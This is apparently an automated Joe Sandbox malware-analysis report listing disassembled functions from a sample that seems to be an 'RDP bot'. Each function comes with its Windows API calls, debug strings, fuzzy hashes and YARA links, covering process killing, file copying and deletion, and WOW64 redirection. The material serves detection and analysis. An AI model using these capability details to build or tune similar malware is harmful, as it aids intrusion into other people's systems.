Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 2918714741-1991603811
Opcode ID: f7dac0897dbcd847d75ce27a6a83e65b24b4f0f38bb84ca2c2760da033bbbfba
Instruction ID: 6eeebc81b544ca6c939c84e71157a0166f0b8ab702a238020955ea921b18a04e
Opcode Fuzzy Hash: f7dac0897dbcd847d75ce27a6a83e65b24b4f0f38bb84ca2c2760da033bbbfba
Instruction Fuzzy Hash: 84216063A3868792E751AF11E940BAAB760FB48B94F844031EE4C47764DF3CE885C790

Function 00007FF77572255D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF775722487
strcmp.MSVCRT ref: 00007FF7757224CA
OpenProcess.KERNEL32 ref: 00007FF7757224E2
TerminateProcess.KERNEL32 ref: 00007FF7757224FC
GetLastError.KERNEL32 ref: 00007FF77572250A
Process32Next.KERNEL32 ref: 00007FF7757226F5
GetLastError.KERNEL32 ref: 00007FF775722704
CloseHandle.KERNEL32 ref: 00007FF775722895

Strings

process_kill, xrefs: 00007FF775722515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF77572251C
, xrefs: 00007FF77572253C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 21a440331428728772effc21dc4a0279eeb72096c7e54eb6c28e99ad6ae11850
Instruction ID: d3d59cfbda9a798aee4acccaf14d589a765cd68cf51281f72f769f1751a87c6e
Opcode Fuzzy Hash: 21a440331428728772effc21dc4a0279eeb72096c7e54eb6c28e99ad6ae11850
Instruction Fuzzy Hash: 7E11D013A3C74386FA547B51A48033AB6A0EF0CF95FC44035CD4E0A295DE2FEC4582E1

Function 00007FF775722463 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF775722487
strcmp.MSVCRT ref: 00007FF7757224CA
OpenProcess.KERNEL32 ref: 00007FF7757224E2
TerminateProcess.KERNEL32 ref: 00007FF7757224FC
GetLastError.KERNEL32 ref: 00007FF77572250A
Process32Next.KERNEL32 ref: 00007FF7757226F5
GetLastError.KERNEL32 ref: 00007FF775722704
CloseHandle.KERNEL32 ref: 00007FF775722895

Strings

process_kill, xrefs: 00007FF775722515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF77572251C
, xrefs: 00007FF77572253C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 80c1333dd185fded43c3dd339691c40d7965e2688cfc90bbecb3e5080a5fd915
Instruction ID: f3a59191ff3b54dc05b1b30b4a3a5e4cedade9982f533603541be708a116bb0f
Opcode Fuzzy Hash: 80c1333dd185fded43c3dd339691c40d7965e2688cfc90bbecb3e5080a5fd915
Instruction Fuzzy Hash: 75119017A3D74386FA54BB51A48033AB6A1EF5CF95FC44035CD0E0A695DE2FEC4582E1

Function 00007FF77572246A Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF775722487
strcmp.MSVCRT ref: 00007FF7757224CA
OpenProcess.KERNEL32 ref: 00007FF7757224E2
TerminateProcess.KERNEL32 ref: 00007FF7757224FC
GetLastError.KERNEL32 ref: 00007FF77572250A
Process32Next.KERNEL32 ref: 00007FF7757226F5
GetLastError.KERNEL32 ref: 00007FF775722704
CloseHandle.KERNEL32 ref: 00007FF775722895

Strings

process_kill, xrefs: 00007FF775722515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF77572251C
, xrefs: 00007FF77572253C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 3746774a27b59c9c280bac02fbb753bb78a8f3aa5dd7c421d7ebd650696af266
Instruction ID: 6c91ce18bd5700e6b6649d9d1c407db78d9c4d841b7f36be83aa27c61378c50c
Opcode Fuzzy Hash: 3746774a27b59c9c280bac02fbb753bb78a8f3aa5dd7c421d7ebd650696af266
Instruction Fuzzy Hash: A1119013A3D74386FA54BB51A48033AB6A1EF5CF95FC44035CD0E0A695DE2FEC4582E1

Function 00007FF775722471 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF775722487
strcmp.MSVCRT ref: 00007FF7757224CA
OpenProcess.KERNEL32 ref: 00007FF7757224E2
TerminateProcess.KERNEL32 ref: 00007FF7757224FC
GetLastError.KERNEL32 ref: 00007FF77572250A
Process32Next.KERNEL32 ref: 00007FF7757226F5
GetLastError.KERNEL32 ref: 00007FF775722704
CloseHandle.KERNEL32 ref: 00007FF775722895

Strings

process_kill, xrefs: 00007FF775722515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF77572251C
, xrefs: 00007FF77572253C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 7f8c46a060ecb3e684575abd229e24c162cf90270895cbde5324f7f026056966
Instruction ID: ef208d7226c581cb757e5c550da8cdcdafab4f8460dc031c6a22cc30a551b83a
Opcode Fuzzy Hash: 7f8c46a060ecb3e684575abd229e24c162cf90270895cbde5324f7f026056966
Instruction Fuzzy Hash: 06118E13A3974386FA54BB91A48033AB6A1EF5CF95FC44035CD0E4A695DE2FEC4582E1

Function 00007FF775725189 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF775725227
GetLastError.KERNEL32 ref: 00007FF775725242

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Strings

[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF7757253AE
[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF7757251FD
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF775725260
fs_file_copy, xrefs: 00007FF7757251F6, 00007FF775725259, 00007FF7757253A7
NULL, xrefs: 00007FF775725385, 00007FF775725391

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: 258efda593b9751e153bce364f0c496ffa623c059537ce1f1eb98cea2cb181b3
Instruction ID: 697032dcc08a577f997ffbd7bd46df930848fa20a5ac8b2de9c0397efab7d192
Opcode Fuzzy Hash: 258efda593b9751e153bce364f0c496ffa623c059537ce1f1eb98cea2cb181b3
Instruction Fuzzy Hash: 40415D53D3D65681FA286706A800779E660FF08FDCFD41132CD0F4E695FEACAA8187A1

Function 00007FF775724BBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32 ref: 00007FF775724BD4
GetLastError.KERNEL32 ref: 00007FF775724C2B

Strings

fs_file_delete, xrefs: 00007FF775724C0D, 00007FF775724C39, 00007FF775724D69
[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF775724C40
[I] (%s) -> Done(path=%s), xrefs: 00007FF775724D70
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724C14
NULL, xrefs: 00007FF775724D5A

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: 70adc8483f92db5b97f1c2f973f890455b7fae02d4dbbafe052feed73f037721
Instruction ID: 784fe9b4deb060128ccef58dee0725151e9ce6bbe5dcaf92137ce588c43bf6c6
Opcode Fuzzy Hash: 70adc8483f92db5b97f1c2f973f890455b7fae02d4dbbafe052feed73f037721
Instruction Fuzzy Hash: 94313D77F3C78B42FA20B708A442378A262DF8DF55FD54432CA1E47291ED1DA88583B6

Function 00007FF77572749C Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 157stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7757274D6
strlen.MSVCRT ref: 00007FF7757274E1

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF77572751A, 00007FF775727553, 00007FF77572758C
(needle != NULL), xrefs: 00007FF77572750C
str_match, xrefs: 00007FF775727513, 00007FF77572754C, 00007FF775727585
(pattern != NULL), xrefs: 00007FF775727545
((match == NULL) || (match_len != NULL)), xrefs: 00007FF77572757E
C:/Projects/rdp/bot/codebase/utils.c, xrefs: 00007FF775727505, 00007FF77572753E, 00007FF775727577

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen
String ID: ((match == NULL) || (match_len != NULL))$(needle != NULL)$(pattern != NULL)$C:/Projects/rdp/bot/codebase/utils.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$str_match
API String ID: 39653677-892027187
Opcode ID: 7e3e5ad8cb6b2cb1cc7950dd06a98d49d16e3d1cdf5b6947af58537b1bd22828
Instruction ID: 288a7105271888edee6999da357229cc7a87e5412c4afeb6107459999e9fe03d
Opcode Fuzzy Hash: 7e3e5ad8cb6b2cb1cc7950dd06a98d49d16e3d1cdf5b6947af58537b1bd22828
Instruction Fuzzy Hash: 5851F353E391A341FA25AF57AA157B5D661FF19F88FD48036DA0E0F290DE2CE50183E0

Function 00007FF775726C99 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF775726D12
strlen.MSVCRT ref: 00007FF775726D2E
strcat.MSVCRT ref: 00007FF775726D3D
strlen.MSVCRT ref: 00007FF775726D48

Strings

fs_module_file, xrefs: 00007FF775726CF5
(file_path != NULL), xrefs: 00007FF775726CEE
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775726CE7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775726CFC

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$strcat
String ID: (file_path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_module_file
API String ID: 2335785903-2423714266
Opcode ID: a7263ece55ac66402f61714a18821357c26097506aba275a208afbb56e04a119
Instruction ID: 15defca20e5375378e6deff3a9dcd6500b9c8f91ff5fe503fa36604043ec914f
Opcode Fuzzy Hash: a7263ece55ac66402f61714a18821357c26097506aba275a208afbb56e04a119
Instruction Fuzzy Hash: 4811B163A386D784FA157F2698047B5D6A19F09F94FDC8031DE4D0A282EE3CE44083E0

Function 00007FF77572CACD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF77572CB20
fwprintf.MSVCRT ref: 00007FF77572CB34
strlen.MSVCRT ref: 00007FF77572CB9A

Strings

%-*.*S, xrefs: 00007FF77572CB19
%.*S, xrefs: 00007FF77572CB2D
%*.*S, xrefs: 00007FF77572CB10

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fwprintf$strlen
String ID: %*.*S$%-*.*S$%.*S
API String ID: 2636243462-2115465065
Opcode ID: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction ID: 6a303cb398ab87ef499c7c09d88c3bc557ee2082cfc95b470efbbb16b5f23bf5
Opcode Fuzzy Hash: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction Fuzzy Hash: 9C31B563E3869295E750BF259800578E2B9EB5CFA4F94C131DD1DCBB89DE2CE40487E0

Function 00007FF77572385C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF775721CF4: LoadLibraryA.KERNEL32 ref: 00007FF775721D02

GetLastError.KERNEL32 ref: 00007FF7757238D8

Part of subcall function 00007FF775721C73: GetProcAddress.KERNEL32 ref: 00007FF775721C93

Strings

Done, xrefs: 00007FF7757238B4
Wow64RevertWow64FsRedirection, xrefs: 00007FF77572387D
kernel32, xrefs: 00007FF775723869
[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu), xrefs: 00007FF7757238E8
fs_wow_redir_revert, xrefs: 00007FF7757238BB, 00007FF7757238E1
[I] (%s) -> %s, xrefs: 00007FF7757238C2

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: Done$Wow64RevertWow64FsRedirection$[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_revert$kernel32
API String ID: 3511525774-1584720945
Opcode ID: 50df767f8501ed74331c8b0ddd7b97ee671556bd33cf9003b2d1b5af15f3632e
Instruction ID: d29032ac8beb82311521b7e441162056f5614f94acbbce4144c221ee2f80b4c1
Opcode Fuzzy Hash: 50df767f8501ed74331c8b0ddd7b97ee671556bd33cf9003b2d1b5af15f3632e
Instruction Fuzzy Hash: 3611BA62E3DA8B91FB20B715E8517B4A260BF5CF14FC00035D44D8A6A1EE6CE545C3F0

Function 00007FF7757237C0 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF775721CF4: LoadLibraryA.KERNEL32 ref: 00007FF775721D02

Part of subcall function 00007FF775721C73: GetProcAddress.KERNEL32 ref: 00007FF775721C93

GetLastError.KERNEL32 ref: 00007FF775723820

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Strings

[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu), xrefs: 00007FF775723830
Done, xrefs: 00007FF7757237FC
kernel32, xrefs: 00007FF7757237C4
Wow64DisableWow64FsRedirection, xrefs: 00007FF7757237D8
fs_wow_redir_disable, xrefs: 00007FF775723803, 00007FF775723829
[I] (%s) -> %s, xrefs: 00007FF77572380A

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProcfflushfwrite
String ID: Done$Wow64DisableWow64FsRedirection$[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_disable$kernel32
API String ID: 1533789296-1853374401
Opcode ID: 912ea9ecdca557dc472daf9a7d8af5cb4c2ed42afdfd20a5a6a17484d27a2de8
Instruction ID: fe7c38449db60ea308abbc0e8b710fa213d93959d4aef536daf492d06441f65d
Opcode Fuzzy Hash: 912ea9ecdca557dc472daf9a7d8af5cb4c2ed42afdfd20a5a6a17484d27a2de8
Instruction Fuzzy Hash: 02019362E3898B91FA61BB15EC517B4A260AF1CB14FC05036D44E8A6A1EF6DE945C3F0

Function 00007FF7757233C0 Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7757233D8
CloseHandle.KERNEL32 ref: 00007FF7757233DE

Strings

process_free, xrefs: 00007FF775723402
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7757233F4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775723409
(pi != NULL), xrefs: 00007FF7757233FB

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseHandle
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$process_free
API String ID: 2962429428-1801624891
Opcode ID: 53d2facdb7f46f7679e411fb2711f4893f1e8d97bd897c0b7eb70dd6e9c8b024
Instruction ID: fe46fcf55bcc9d3d81f18b05bb88156e3a0de171b42f1c68210b5d9b388a2196
Opcode Fuzzy Hash: 53d2facdb7f46f7679e411fb2711f4893f1e8d97bd897c0b7eb70dd6e9c8b024
Instruction Fuzzy Hash: 34F01C63A3888F80EA10EB66EC501A8A720FF48B68FC44132D90D47261DF3DEA47C394

Function 00007FF775727E04 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32 ref: 00007FF775727E82
GetLastError.KERNEL32 ref: 00007FF775727E90

Strings

[E] (%s) -> QueryDosDeviceW failed(gle=%lu), xrefs: 00007FF775727EA2
path_convert_to_nt, xrefs: 00007FF775727E9B
%S%S, xrefs: 00007FF775727F88

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: DeviceErrorLastQuery
String ID: %S%S$[E] (%s) -> QueryDosDeviceW failed(gle=%lu)$path_convert_to_nt
API String ID: 963133057-3473575966
Opcode ID: 2ecc8d21c77ad793d7cdb5c91fca38b749c2df80d8d0a7740a79bdbd090e6c32
Instruction ID: f10003bc0f74fd028300510cf448bc569de5ef512f88a0ef2a7e8addbf656b0d
